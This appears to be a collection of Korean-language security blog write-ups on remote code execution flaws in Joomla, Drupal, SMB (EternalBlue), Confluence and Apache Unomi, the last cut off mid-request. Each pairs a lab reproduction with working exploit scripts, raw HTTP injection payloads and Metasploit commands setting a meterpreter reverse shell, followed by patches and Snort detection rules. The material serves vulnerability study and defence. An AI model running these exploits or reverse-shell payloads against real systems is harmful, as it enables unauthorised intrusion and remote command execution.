- Joomla 어플리케이션의 사용자 세션 핸들러는 zero scaped 버전으로 변환해서 지원

- 이것은 HTTP 헤더를 통해 Null 바이트가 통과할 수 있게끔 허용

- 통과된 Null 바이트가 포함되어 있는 악의적인 코드는 Joomla 어플리케이션의 사용자 세션 핸들러가 보호된 변수를 직렬화할 수 있도록 가능하게 되어 악의적인 코드가 실행

 

2.3 PoC

- User-Agent 헤더에 공격용 코드를 삽입

- generate_payload 함수를 통해서 원격 명령을 삽입

- 공격 후 get_url('접근 URL', 'payload' 입력)로 결과 확인

'''
   Simple PoC for Joomla Object Injection.
   Gary @ Sec-1 ltd
   http://www.sec-1.com/
'''
 
import requests #  easy_install requests
 
def get_url(url, user_agent):
 
    headers = {
    'User-Agent': user_agent
    }
    cookies = requests.get(url,headers=headers).cookies
    for _ in range(3):
        response = requests.get(url, headers=headers,cookies=cookies)    
    return response
   
def php_str_noquotes(data):
    "Convert string to chr(xx).chr(xx) for use in php"
    encoded = ""
    for char in data:
        encoded += "chr({0}).".format(ord(char))
 
    return encoded[:-1]
 
 
def generate_payload(php_payload):
 
    php_payload = "eval({0})".format(php_str_noquotes(php_payload))
 
    terminate = '\xf0\xfd\xfd\xfd';
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)    
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
 
    return exploit_template
 
 
 
pl = generate_payload("system('touch /tmp/fx');")
 
print get_url("http://172.31.6.242/", pl)

 

3. 대응방안

① Joomla 업데이트 적용

- 3.4.6 버전 이상으로 업데이트

 

4. 참고

https://lopicit.tistory.com/363

https://github.com/vulhub/vulhub/blob/master/joomla/CVE-2015-8562/README.md

- https://blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=koromoon&logNo=220575405820

https://resources.infosecinstitute.com/topic/exploiting-cve-2015-8562-new-joomla-rce-2/

https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html

https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/joomla-0-day-exploited-in-the-wild-cve-2015-8562/

https://blog.sucuri.net/2014/11/deep-dive-into-the-hikashop-vulnerability.html

1. Drupal

- PHP로 작성된 오픈 소스 콘텐츠 관리 프레임워크, 콘텐츠 관리 시스템, 블로그 엔진

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2018-7600

- 취약한 Drupal의 Form API Ajax 요청 프로세스에서 입력값 검증이 제대로 이루어지지 않아 공격자로부터 악의적인 코드를 실행할 수 있음

영향받는 버전
- Drupal 7.58 이전 버전
- Drupal 8.3.9 이전의 8.x
- Drupal 8.4.6 이전의 8.5.x
- Drupal 8.5.1 이전의 8.5.x

 

2.1 분석

- Drupal에서 Form API는 Renderable Arrays, 배열을 사용
- 랜더링 배열은 "#"로 시작하는 키-값 구조
- #post_render 배열은 브라우저에 특정 부분을 랜더링하는 역할 수행
- #post_render 배열에 시스템 명령 함수를, 배열의 인자인 #markup에 시스템 명령어를 삽이하면, 해당 명령이 실행됨

[사진 2] 예시

2.1 실습

- 취약한 서버 실행

git clone https://github.com/vulhub/vulhub
cd /vulhub/drupal/CVE-2018-7600
docker-compose up -d

[사진 3] Docker 이미지 실행

 

- 이후 localhost:8080으로 접속하여 설치 진행 및 정상 접근 확인

※ "데이터베이스 설정"에서 sqlite 데이터베이스 선택

[사진 4] 설치 완료

 

- Drupal 전용 스캐너 droopescan으로 정보 수집

git clone https://github.com/SamJoan/droopescan
cd droopescan 
pip install -r requirements.txt 
./droopescan --help
./droopescan scan -u Target

[사진 5] Scan 결과

 

- ExploitDB에서 Exploit 코드를 다운 받아 PoC 실행

[사진 6] PoC 실행

 

- PoC 실행 후 Check에서 확인되는 URL에 접근 시 hello.txt의 내용 확인 가능

[사진 7] hello.txt

 

- 와이어샤크를 통해 확인해보면 다음과 같음

[사진 8] Exploit 수행(좌) 및 결과(우)

 

- id 명령어 삽입 및 수행 결과 정상 반환 등 다른 명령어 또한 삽입이 가능

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

[사진 9] id 명령어 삽입(위) 및 와이어샤크(아래)

2.2 PoC

- PoC를 통해 다음을 확인할 수 있음

① form_id=user_register_form // user_register_form은 가입하기 양식 전체의 form_id

② _drupal_ajax=1 // ajax 사용

③ mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id // 실제 공격이 발생하는 지점

#!/usr/bin/env
import sys
import requests

print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')

target = input('Enter target url (example: https://domain.ltd/): ')

# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
# 
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True

url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}

r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt')
if check.status_code != 200:
  sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')

 

3. 대응방안

3.1 서버측면

- 패치 적용

버전 패치 버전
Drupal 7.x 버전대 7.58 버전
Drupal 8.3.x 버전대 8.3.9 버전
Drupal 8.4.x 버전대 8.4.6 버전
Drupal 8.5.x 버전대 8.5.1 버전

 

3.2 네트워크 측면

- 원격 명령 삽입이 가능한 랜더링 배열을 탐지하는 정책을 설정

#access_callback : Drupal에서 현재 사용자가 요소에 액세스할 수 있는지 여부를 결정하는 데 사용
#pre_render : 렌더링하기 전에 렌더링 배열을 조작
#lazy_builder : 렌더링 프로세스의 맨 마지막에 요소를 추가하는 데 사용
#post_render : 렌더링 프로세스의 결과를 받고 주변에 래퍼를 추가

<snort 예시>
alert http $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"Drupalgeddon2 (CVE-2018-7600)"; flow: to_server,established; content:"POST"; http_method; content:"markup"; fast_pattern; content: "/user/register"; http_uri; pcre:"/(access_callback|pre_render|lazy_builder|post_render)/i"; classtype:web-application-attack; sid:9000110; rev:1;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/cve-2018-7600

https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2018-7600

https://research.checkpoint.com/2018/uncovering-drupalgeddon-2/

https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708

https://www.exploit-db.com/exploits/44448

1. SMB (Server Message Block)

- Common Internet File System, CIFS라고도 함

- 1990년에 도스, 윈도우, NT, OS/2, 유닉스 등 난잡했던 운영체제 간 자원 공유를 쉽게 해줄 목적으로 만들어짐

- 네트워크 상 존재하는 노드들 간에 자원을 공유할 수 있도록 설계된 프로토콜

- 주로 네트워크에 연결된 컴퓨터끼리 파일, 프린터, 포트 또는 기타 메시지를 전달하는데 사용

버전 설명
SMBv1 - MS-DOS부터 Windows 10까지 존재하는 구식 프로토콜
- 보안을 고려하지 않고 만들어져, 윈도우 침투에 자주 악용하는 루트로 이용
- 보안 결함에도 불구하고 호환성 및 구현이 쉬워 NAS나 프린터 제작사들이 계속해서 SMBv1만 지원
SMBv2 - 2006년 제작되어 Windows Vista부터 탑재
- 이전 버전과의 호환성은 전혀 없음 > Windows XP 이하의 운영체제에서는 사용할 수 없음
- 속도와 보안 모두 기존보다 월등
- 일반 사용자는 SMBv2로도 아직까지 충분
SMBv3 - SMBv2에 속도 최적화 및 각종 기능을 추가한 것
- 2012년에 제작되어 Windows 8부터 탑재
- SMBv2와도 통신이 가능
- SQL 데이터 및 가상화 솔루션 간 파일 전송, 서버 클러스터 관리, 분산 전송을 통한 장애조치 등 데이터센터와 같은 서버 간 통신을 위한 것

 

2. 이터널블루 (EthernalBlue)

- 미 국가안보국(NSA)의 해킹 도구

- SMB 프로토콜의 원격코드 실행 취약점(MS17-010)을 이용

- 섀도우 브로커즈(Shadow Brokers) 해킹 그룹에 의해 유출

※ 더블펄서(DoublePulsar)는 이터널블루 익스플로잇에 의해 설치되며, 이미 감염된 시스템에서 악성코드 삽입 및 실행을 위한 백도어로, 워너크라이 랜섬웨어 공격에서 이터널블루와 함께 사용

 

3. 취약점

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2017-0143

- MS SMB 프로토콜의 메모리 파괴 취약점으로, 인증을 거치지 않은 공격자가 원격에서 명령 실행이 가능

- OS가 SMB 3.1.1 프로토콜의 압축패킷을 처리하는 과정에서 발생하는 오류로 인해 발생하는 취약점

- 공격자는 조작된 패킷을 악용하여 원격에서 인증을 거치지 않은 상태로 원격코드 실행이 가능

- SMB 클라이언트를 공격해 특정한 웹페이지, 압축파일, 공유파일, office 문서 등을 조작하는 방식으로 취약점 트리거 가능

- 해당 취약점을 이용해 워너크라이 랜섬웨어를 유포

영향받는 버전
- Windows 10
- Windows 8.1
- Windows RT 8.1
- Windows 7
- Windows Server 2016
- Windows Server 2012 R2
- Windows server 2008 R2 SP1 SP2

 

취약점명 CVE 번호 MS 번호
Windows SMB 원격 코드 실행 취약점 CVE-2017-0143 MS17-010
CVE-2017-0144
CVE-2017-0145
CVE-2017-0146
CVE-2017-0147

 

3.1 실습

희생자 PC
- OS : Windows 7 Ultimate x64
- IP : 192.168.56.116

공격자 PC
- OS : Kali Linux
- IP : 192.168.56.102

 

- 희생자 PC에 SMB Port가 열려 있는지 확인

[사진 1] 445/TCP open

 

- 메타스플로잇 실행

service postgresql start
msfconsole

[사진 2] 메타스플로잇 실행

 

- ms17_010 모듈 실행 및 옵션 설정

- iso를 변경하면서 시도하였지만, NOT appear vulnerable이 확인

※ 아래부터 보고서를 기준으로 작성

msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.56.116
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[사진 3] 패치된 버전으로 인해 취약점 없음

- 취약한 서버일 경우 [+]로 정보가 표시

[사진 4] 취약 서버 확인

- EternalBlue를 설치하여, 메타스플로잇 프레임워크에 추가

git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
cd Eternalblue-Doublepulsar-Metasploit
cp eternalblue_doublepulsar.rb /usr/share/Metasploit-framework/modules/exploits/windows/smb/

[사진 5] 이터널블루 설치 및 추가

 

- 이터널블루-더블펄서 모듈 실행

msfconsole
msf6 > use exploit/windows/smb/eternalblue_doublepulsar 
msf6 exploit(windows/smb/eternalblue_doublepulsar) > show options

[사진 6] 옵션 설정

- 익스플로잇 전 대상의 아키텍처와 IP 등 옵션을 설정

옵션 설명
DOUBLEPULSARPATH  더블펄서 경로 지정
ETERNALBLUEPATH 이터널블루 경로 지정
PROCESSINJECT 악성코드가 들어갈 프로세스 지정
x64는 lsass.exe 사용
RHOSTS  공격 대상 IP
RPORT 445 (SMB Port)
TARGETARCHITECTURE 공격 대상 운영체제 버전 (x86, x64)
WINEPATH /root/.wine/drive_c/
Exploit target 공격 대상 OS 설정
  LHOST 로컬 IP 주소
payload 페이로드 생성

 

msf6 exploit(windows/smb/eternalblue_doublepulsar) > set PROCESSINJECT lsass.exe
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set RHOSTS 192.168.56.116
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set TARGETARCHITECTURE x64
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set target 8
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set payload windows/x64/meterpreter/reverse_tcp      
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set LHOST 192.168.56.102

[사진 7] 옵션 확인

- 익스플로잇 결과 피해 시스템으로부터 공격 시스템으로 세션이 설정

- 피해자 PC 정보 확인, 현재 경로 파일 확인, PC화면 캡쳐 등 악성 동작 수행 가능

※ /root/.wine/drive_c/eternal11.dll 관련 실패 메시지 발생 시 해당 경로에 디렉터리를 생성 ex) mkdir -p /root/.wine/drive_c/

[사진 8] 익스플로잇 성공

3. 대응방안

3.1 서버측면

① OS 최신 보안 패치 적용

- 아래 링크에서 버전별 업데이트 적용

 

Microsoft 보안 공지 MS17-010 - 긴급

Microsoft 보안 공지 MS17-010 - 긴급 아티클 12/06/2019 읽는 데 31분 걸림 기여자 4명 피드백 이 문서의 내용 --> Microsoft Windows SMB 서버용 보안 업데이트(4013389) 게시된 날짜: 2017년 3월 15일 버전: 1.0 요약

learn.microsoft.com

 

3.2 네트워크 측면

① 탐지 룰 적용

- 공개된 Snort 정보

alert smb any any -> $HOME_NET any (msg: "ATTACK [PTsecurity] Metasploit MS17-010 ETERNALCHAMPION. Non-Fragmented NT Trans Request with command NT Rename (CVE-2017-0146)"; flow: established, to_server; content: "|FF|SMB|A0|"; offset: 4; depth: 5; byte_extract: 4, 35, NTTrans.TotalDataCount, relative, little; byte_test: 4, =, NTTrans.TotalDataCount, 16, relative, little; content: "|05 00|"; distance: 25; within: 2; isdataat:300, relative; flowbits: set, EternalRomance.RaceCondition.Possible; flowbits: noalert; reference: cve, 2017-0146; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001717; rev: 2;)

alert smb $HOME_NET any -> any any (msg: "ATTACK [PTsecurity] NT Trans Response"; flow: established, from_server; content: "|FF|SMB|A0|"; offset: 4; depth: 5; flowbits: isset, EternalRomance.RaceCondition.Possible; flowbits: unset, EternalRomance.RaceCondition.Possible; flowbits: noalert; reference: cve, 2017-0146; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001718; rev: 1;)

alert smb any any -> $HOME_NET any (msg: "ATTACK [PTsecurity] Metasploit MS17-010 ETERNALCHAMPION Race Condition Exploit. NT Trans Secondary packet follows NT Trans Req (CVE-2017-0146)"; flow: established, no_stream, to_server; content: "|FF|SMB|A1|"; flowbits: isset, EternalRomance.RaceCondition.Possible; flowbits: set, EternalRomance.RaceCondition.Attempt; threshold: type both, track by_src, count 1, seconds 60; reference: cve, 2017-0146; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001719; rev: 1;)

alert smb $HOME_NET any -> any any (msg: "ATTACK [PTsecurity] Metasploit MS17-010 ETERNALCHAMPION Successful kernel data leak (CVE-2017-0146)"; flow: established, from_server; content: "|FF|SMB|A0|"; content: "Frag"; within: 115; flowbits: isset, EternalRomance.RaceCondition.Attempt; reference: cve, 2017-0146; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001720; rev: 1;)

alert smb any any -> $HOME_NET any (msg: "ATTACK [PTsecurity] Metasploit MS17-010 ETERNALROMANCE exploitation (CVE-2017-0143)"; flow: established, to_server; content: "|FF|SMB|A1|"; content: "|FF|SMB|A0|"; distance: 0; content: "|05 00|"; distance: 64; within: 2; content: "|FF|SMB|25|"; distance: 13; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; threshold: type both, track by_src, count 1, seconds 60; reference: cve, 2017-0143; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, www.crowdstrike.com/blog/badrabbit-ms17-010-exploitation-part-one-leak-and-control; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001723; rev: 1; )

 

② 네트워크 방화벽 및 윈도우 방화벽에서 SMB 관련 포트 차단

- SMB를 사용하지 않는 경우 방화벽에서 포트를 차단

프로토콜 포트번호
UDP 137
138
TCP 139
445

 

3.3 기타

① 최신의 백신상태로 유지 및 실시간 감지모드를 이용하여 악성코드의 실행을 차단

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2017-0143

- https://rjswn0315.tistory.com/153

- https://dailylearn.tistory.com/m/125

https://namu.wiki/w/SMB

https://learn.microsoft.com/ko-kr/security-updates/securitybulletins/2017/ms17-010

- https://github.com/ptresearch/AttackDetection/blob/master/MS17-010/ms17-010.rules

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=25906&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMTctMDE0Mw== 

1. Confluence

- 아틀라시안(Atlassian)에서 개발한 자바 기반의 소프트웨어

- 팀원들이 효율적으로 지식을 공유하고 협업할 수 있는 도구

 

2. 취약점

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2022-26134

- 취약 버전의 Confluence Server 및 Data Center에서 OGNL 표현식에 의해 발생하는 원격 명령 실행 취약점

취약한 버전
- Confluence Server 및 Data Center 모든 지원되는 버전
- Confluence Server 및 Data Center 1.3.0 이후의 버전

 

2.1 취약점 실습

- 취약 서버 구동

git clone https://github.com/vulhub/vulhub
cd /vulhub/confluence/CVE-2022-26134
docker-compose up -d

 

[사진 2] 취약 서버 구동

- "Get an evaluation license"를 통해 키 발급 받기

[사진 3] 키 발급

- [사진 3]에서 키 발급 후 Next로 default 설치 진행 및 데이터베이스 설정 진행

- Next > Example Site > default 설치 진행

[사진 4] 설정 진행

- 서버 정상 구동 및 접근 확인

[사진 5] 서버 구동(위) 및 접근 확인(아래)

- Pyhton 파일을 이용해 Exploit 진행 및 id명령 수행 결과가 반환

[사진 6] Exploit

- 해당 패킷을 와이어샤크로 확인하면 다음과 같음

[사진 7] 와이어샤크 확인

<디코딩 전>
/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/

<디코딩 후>
/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/

 

2.2 취약점 분석

- 정확하지는 않으나 요청 분석 과정에서 입력값 검증이 부족한 것으로 판단됨

① 서버는 클라이언트의 요청을 처리하기위해 TextParseUtil.translateVariables를 호출
② TextParseUtil.translateVariables에서 "\\\$\\{(^})\\\}"패턴에 대해서만 필터링

※ xwork-1.0.3.6.jar 내 TextParseUtil.class가 있음

[사진 8]&nbsp;TextParseUtil.translateVariables

 

2.3 PoC 분석

- spiderXpl(url) 함수에서 OGNL 표현식 설정 등 공격을 위한 설정이 이루어짐

① 전달 받은 커맨드(-c 옵션 : command)를 포함하여 OGNL 표현식으로 설정

② setHeader() 함수를 통해 응답값에 "X-Cmd-Response"를 설정

③ 취약한 서버의 경우 OGNL 표현식 수행 결과를 X-Cmd-Response를 통해 응답

#!/usr/bin/python3

# Exploit Title: Confluence Pre-Auth Remote Code Execution via OGNL Injection
# Google Dork: N/A
# Date: 06/006/2022
# Exploit Author: h3v0x
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: All < 7.4.17 versions before 7.18.1
# Tested on: -
# CVE : CVE-2022-26134
# https://github.com/h3v0x/CVE-2022-26134

import sys
import requests
import optparse
import multiprocessing

from requests.packages import urllib3
from requests.exceptions import MissingSchema, InvalidURL
urllib3.disable_warnings()

requestEngine = multiprocessing.Manager()
session = requests.Session()

global paramResults
paramResults = requestEngine.list()
globals().update(locals())

def spiderXpl(url):
    globals().update(locals())
    if not url.startswith('http'):
        url='http://'+url
    
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
               "Connection": "close",
               "Accept-Encoding": "gzip, deflate"}

    try:
        response = requests.get(url + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+optionsOpt.command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False)
        if(response.status_code == 302):
            print('Found: '+url+' // '+ response.headers['X-Cmd-Response'])

            inputBuffer = str(response.headers['X-Cmd-Response'])
            paramResults.append('Vulnerable application found:'+url+'\n''Command result:'+inputBuffer+'\n')
        else:
            pass

    except requests.exceptions.ConnectionError:
        print('[x] Failed to Connect: '+url)
        pass
    except multiprocessing.log_to_stderr:
        pass
    except KeyboardInterrupt:
        print('[!] Stoping exploit...')
        exit(0)
    except (MissingSchema, InvalidURL):
        pass
    
    
def banner():
    print('[-] CVE-2022-26134')
    print('[-] Confluence Pre-Auth Remote Code Execution via OGNL Injection \n')

    
def main():
    banner()
    
    globals().update(locals())
    
    sys.setrecursionlimit(100000)

    if not optionsOpt.filehosts:
        url = optionsOpt.url
        spiderXpl(url)
    else:
        f = open(optionsOpt.filehosts)
        urls = map(str.strip, f.readlines())

        multiReq = multiprocessing.Pool(optionsOpt.threads_set)
        try:
            multiReq.map(spiderXpl, urls)
            multiReq.close()
            multiReq.join()
        except UnboundLocalError:
            pass
        except KeyboardInterrupt:
            exit(0)


    if optionsOpt.output:
        print("\n[!] Saving the output result in: %s" % optionsOpt.output)

        with open(optionsOpt.output, "w") as f:
            for result in paramResults:
                f.write("%s\n" % result)
        f.close()

if __name__ == "__main__":
    parser = optparse.OptionParser()

    parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')
    parser.add_option('-f', '--file', dest="filehosts", help='example.txt')
    parser.add_option('-t', '--threads', dest="threads_set", type=int,default=10)
    parser.add_option('-m', '--maxtimeout', dest="timeout", type=int,default=8)
    parser.add_option('-o', '--output', dest="output", type=str, default='exploit_result.txt')
    parser.add_option('-c', '--cmd', dest="command", type=str, default='id')
    optionsOpt, args = parser.parse_args()

    main()

 

3. 대응방안

3.1 서버측면

① 취약점이 패치된 보안 업데이트 적용

제품 패치 버전
Confluence 7.4.17
7.13.7
7.14.3
7.15.2
7.16.4
7.17.4
7.18.1

- 즉시 업데이트가 어려운 경우 아래 사이트를 참고해 버전별 임시 해결 방안을 적용

⒜ 취약점이 발생한 xwork-1.0.3.6.jar를 새로 출시된 xwork-1.0.3-atlassian-10.jar로 교체 권고

 

Confluecne 보안 권고 CVE-2022-26134 - CURVC DevOps - Confluence

이 문서는 CVE-2022-26134 취약점에 대한 조치 방법을 공유하기 위해 작성되었다. 취약점 요약표 요약CVE-2022-26134 - Confluence Server 및 Data Center의 원격 코드 실행 취약점 (심각도- 미인증)권고 릴리스

confluence.curvc.com

 

- 패치된 버전에서는 translateVariables 메서드를 사용하지 않고 finalNamespace 및 finalActionName 변수를 사용

[사진 9] 패치 전(위) 후(아래) 비교

- findValue 메서드 SafeExpressionUtil.class를 추가

⒜ isSafeExpression()를 통해 입력값에 대한 검증을 강화

[사진 10] 표현식 추가

3.2 네트워크측면

① 공개된 PoC를 통해 다음을 탐지하는 룰을 적용 및 탐지 후 차단

⒜ OGNL 표현식 : ${(#

⒝ 요청 내 X-Cmd-Response 문자열 존재 여부

 

② IoC를 참고해 IP 차단 등의 침해지표 활용

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-26134

- https://github.com/vulhub/vulhub

- https://github.com/h3v0x/CVE-2022-26134/blob/main/exploit.py

https://blog.alyac.co.kr/4772

https://doosil87.github.io/devops/2019/09/01/Jiraandconfluence.html

https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/

https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis

- https://confluence.curvc.com/pages/releaseview.action?pageId=101553124

https://www.akamai.com/ko/blog/security-research/atlassian-confluence-vulnerability-observations

1. Apache Unomi

- Apache Unomi는 고객 및 방문자 등의 데이터를 관리하고, 개인정보 규범들(ex: GDPR)을 준수하며, 고객의 경험을 개인화 하는 자바 오픈소스 고객데이터플랫폼(CDP- Customer Data Platform)

 

| Main Page

Apache Unomi™: The Open Source Customer Data Platform Apache Unomi™ (pronounced "You know me") is a Java Open Source customer data platform, a Java server designed to manage customers, leads and visitors data and help personalize customers experiences

unomi.apache.org

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2020-13942

- 취약한 버전의 Apache Unomi를 사용하면 /context.json을 통해 MVEL 및 OGNL 표현식을 사용하여 Unomi 애플리케이션 권한으로 원격 코드 실행이 가능

- 해당 취약점은 Unomi 1.5.1에서 부분적으로 패치가 되었음

취약한 버전 : Apache Unomi < 1.5.2

 

2.1 취약점 실습

* https://unomi.apache.org/tutorial.html를 참조해 직접 설치하려 했으나 karaf 실행 후 멈춤 현상이 발생하여 도커 사용

 

- 취약 서버 구동 후 정상 접근 확인

git clone https://github.com/vulhub/vulhub
cd /​vulhub/unomi/CVE-2020-13942
docker-compose up -d

 

[사진 2] 취약 서버 구동(위) 및 정상 접근 확인(아래)

2.1.1 MVEL 표현식

MVEL 표현식 (MVLEX Expression Language)
- 자바 플랫폼을 위한 동적/정적 유형의 임베디드 가능한 표현 언어이자 런타임

- 프록시 설정 후 버프슈트를 통한 요청 값 변조

① POST 메소드로 /context.json URL 요청

② /tmp 디렉터리에 임의의 파일을 생성하는 MVEL 표현식 삽입

POST /context.json HTTP/1.1
Host: 192.168.56.112:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0

{
    "filters": [
        {
            "id": "boom",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/MVELTest\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "boom"
}

 

[사진 3] 조작된 요청 전송 및 200 응답

- 와이어샤크로 해당 패킷을 확인해보면 다음과 같음

[사진 4] 와이어샤크 패킷 확인

- 피해 시스템의 /tmp 디렉터리를 확인해보면 MVLETest 파일이 생성

[사진 5] MVELTest 파일 생성

2.2.2 OGNL 표현식

OGNL (Object Graph Navigation Language)
- 자바 언어가 지원하는 범위보다 더 단순한 식을 사용하면서 속성을 가져와 설정하는 것을 허용하고 자바 클래스의 메소드를 실행하는 오픈 소스 표현식 언어(EL)

- 프록시 설정 후 버프슈트를 통한 요청 값 변조

① POST 메소드로 /context.json URL 요청

② /tmp 디렉터리에 임의의 파일을 생성하는 OGNL 표현식 삽입

POST /context.json HTTP/1.1
Host: 192.168.56.112:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0

{
  "personalizations":[
    {
      "id":"gender-test",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
